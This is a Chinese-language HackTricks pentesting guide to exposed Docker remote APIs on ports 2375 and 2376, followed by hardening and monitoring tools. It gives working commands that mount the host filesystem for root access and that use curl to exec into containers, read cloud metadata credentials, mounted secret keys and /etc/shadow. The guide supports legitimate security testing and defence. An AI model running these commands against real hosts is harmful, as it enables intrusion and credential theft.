hacktricks/network-services-pentesting/2375-pentesting-docker.md
2023-08-03 19:12:22 +00:00

335 lines
22 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 2375, 2376 Pentesting Docker
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
## Docker基础知识
### 是什么
Docker平台是业界领先的容器平台用于持续、高速的创新使组织能够无缝地构建和共享任何应用程序 - 从传统应用到下一代应用,并在任何地方安全地运行它们。
### 基本的Docker架构
这些信息来自[这里](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)。
* [containerd](http://containerd.io)是一个容器运行时,可以**管理完整的容器生命周期 - 从镜像传输/存储到容器执行**、监督和网络。**有关containerd的更多信息请参见下文。**
* container-shim处理无头容器这意味着一旦runc初始化容器它就会退出并将容器交给充当中间人的container-shim。
* [runc](http://runc.io)是一个轻量级的通用运行时容器符合OCI规范。**runc由containerd用于根据OCI规范生成和运行容器**。它也是libcontainer的重新打包。
* [grpc](http://www.grpc.io)用于containerd和docker-engine之间的通信。
* [OCI](https://www.opencontainers.org)维护运行时和镜像的OCI规范。当前的Docker版本支持OCI镜像和运行时规范。
![runC, containerD](https://i.stack.imgur.com/5aXF6.png)
### 基本命令
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
```
### Containerd
Containerd旨在供Docker和Kubernetes以及其他希望在Linux、Windows、Solaris或其他操作系统上抽象系统调用或特定于操作系统功能以运行容器的容器平台使用。考虑到这些用户我们希望确保containerd只包含他们所需的内容而不包含不需要的内容。实际上这是不可能的但至少我们尽力而为。像网络这样的东西超出了containerd的范围。原因是在构建分布式系统时网络是一个非常核心的方面。随着SDN和服务发现的发展网络比在Linux上抽象netlink调用更具平台特定性。
需要注意的是Docker使用Containerd但它只提供了Docker提供的功能的子集。例如ContainerD没有Docker的网络管理功能也不能单独使用ContainerD创建Docker集群。
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```
### Podman
**信息** [**来自这里**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
Podman是一个开源的、符合OCIOpen Container Initiative标准的容器引擎。它由Red Hat推动并与Docker有一些重要的区别比如它的无守护进程架构和对无根容器的支持。在本质上这两个工具都是做同样的事情管理镜像和容器。Podman的一个目标是拥有与Docker兼容的API。因此几乎所有Docker CLI的命令在Podman中也是可用的。
在Podman生态系统中您可能会找到另外两个工具Buildah和Skopeo。Buildah是一个用于构建容器镜像的CLI工具而Skopeo是一个用于在镜像上运行操作如推送、拉取或检查的CLI工具。请查看GitHub以获取有关这些工具及其与Podman的关系的更多信息。
**主要区别**
Docker和Podman之间最大的区别是它们的架构。Docker运行在客户端-服务器架构上而Podman运行在无守护进程架构上。但这意味着什么呢在使用Docker时您必须使用Docker CLI它与后台守护进程Docker守护进程进行通信。主要逻辑位于守护进程中它构建镜像并执行容器。这个守护进程以root权限运行。相比之下Podman架构允许您在启动容器的用户下运行容器fork/exec而此用户不需要任何root权限。因为Podman具有无守护进程架构每个运行Podman的用户只能看到和修改自己的容器。没有一个公共的守护进程与CLI工具进行通信。
由于Podman没有守护进程它需要一种方式来支持在后台运行容器。因此它提供了与systemd的集成允许通过systemd单元来控制容器。根据Podman的版本您可以为现有容器生成这些单元或者生成能够在系统中创建容器的单元。还有另一种与systemd的集成模型它使systemd能够在容器内部运行。默认情况下Docker使用systemd来控制守护进程。
第二个主要区别涉及容器的执行方式。使用Podman时容器在用户的权限下执行而不是在守护进程下执行。在这一点上无根容器的概念就发挥作用了这意味着容器可以在没有root权限的情况下启动。与有根容器相比无根容器具有巨大的优势因为它们不在root帐户下运行。这样做的好处是如果攻击者能够捕获并逃离容器该攻击者仍然是主机上的普通用户。由用户启动的容器不能拥有比用户本身更多的权限或能力。这增加了一层自然的保护。
{% hint style="info" %}
请注意由于Podman旨在支持与Docker相同的API您可以使用与Docker相同的命令
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}
## 基本信息
当启用时默认情况下远程API在2375端口上运行。该服务默认情况下不需要身份验证允许攻击者启动一个特权的Docker容器。通过使用远程API可以将主机/(根目录)附加到容器上,并读写主机环境中的文件。
**默认端口:** 2375
```
PORT STATE SERVICE
2375/tcp open docker
```
## 枚举
### 手动
请注意为了枚举Docker API您可以使用`docker`命令或者像下面的示例中使用`curl`命令:
```bash
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
```
如果您可以使用`docker`命令**与远程docker API进行通信**,则可以**执行**之前[**评论过的docker命令**](2375-pentesting-docker.md#basic-commands)来与服务进行交互。
{% hint style="info" %}
您可以`export DOCKER_HOST="tcp://localhost:2375"`,并**避免**在docker命令中使用`-H`参数。
{% endhint %}
#### 快速提权
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
#### Curl
有时你会看到 **2376** 用于 **TLS** 端点。我无法使用 docker 客户端连接到它,但你可以使用 curl 轻松地访问 docker API。
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
如果您想获取更多信息,可以在我复制命令的地方找到更多信息:[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
### 自动化
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
## 入侵
在下面的页面中,您可以找到**逃离Docker容器**的方法:
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}
通过滥用这个方法,可以逃离容器,您可以在远程机器上运行一个弱容器,逃离容器并入侵机器:
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
## 提权
如果你在使用 Docker 的主机内部,你可以[**阅读这些信息尝试提升权限**](../linux-hardening/privilege-escalation/#writable-docker-socket)。
## 发现正在运行的 Docker 容器中的秘密信息
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
检查**env**(环境变量部分)以查找秘密信息,你可能会找到:
* 密码。
* IP地址。
* 端口。
* 路径。
* 其他...。
如果你想提取一个文件:
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
## 保护您的Docker
### 保护Docker的安装和使用
* 您可以使用工具[https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)来检查您当前的Docker安装。
* `./docker-bench-security.sh`
* 您可以使用工具[https://github.com/kost/dockscan](https://github.com/kost/dockscan)来检查您当前的Docker安装。
* `dockscan -v unix:///var/run/docker.sock`
* 您可以使用工具[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)来查看在不同安全选项下运行容器时容器将具有的权限。这对于了解使用某些安全选项运行容器的影响非常有用:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
### 保护Docker镜像
* 您可以使用[https://github.com/quay/clair](https://github.com/quay/clair)的Docker镜像来扫描其他Docker镜像并查找漏洞。
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
### 保护Dockerfiles
* 您可以使用工具[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)来**检查您的Dockerfile**并找到各种配置错误。每个配置错误都会被赋予一个ID您可以在[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)中找到如何修复每个错误的方法。
* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (418).png>)
* 您可以使用工具[https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint)来**检查您的Dockerfile**并找到各种配置错误。
* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (419).png>)
* 您可以使用工具[https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint)来**检查您的Dockerfile**并找到各种配置错误。
* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (420).png>)
* 您可以使用工具[https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint)来**检查您的Dockerfile**并找到各种配置错误。
* `hadolint Dockerfile`
![](<../.gitbook/assets/image (421).png>)
### 记录可疑活动
* 您可以使用工具[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)来检测正在运行的容器中的**可疑行为**。
* 请注意以下代码块中**Falco如何编译内核模块并插入**。之后,它加载规则并**开始记录可疑活动**。在这种情况下它检测到启动了2个特权容器其中一个具有敏感挂载点并且几秒钟后它检测到在其中一个容器中打开了一个shell。
```
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
### 监控Docker
您可以使用auditd来监控Docker。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>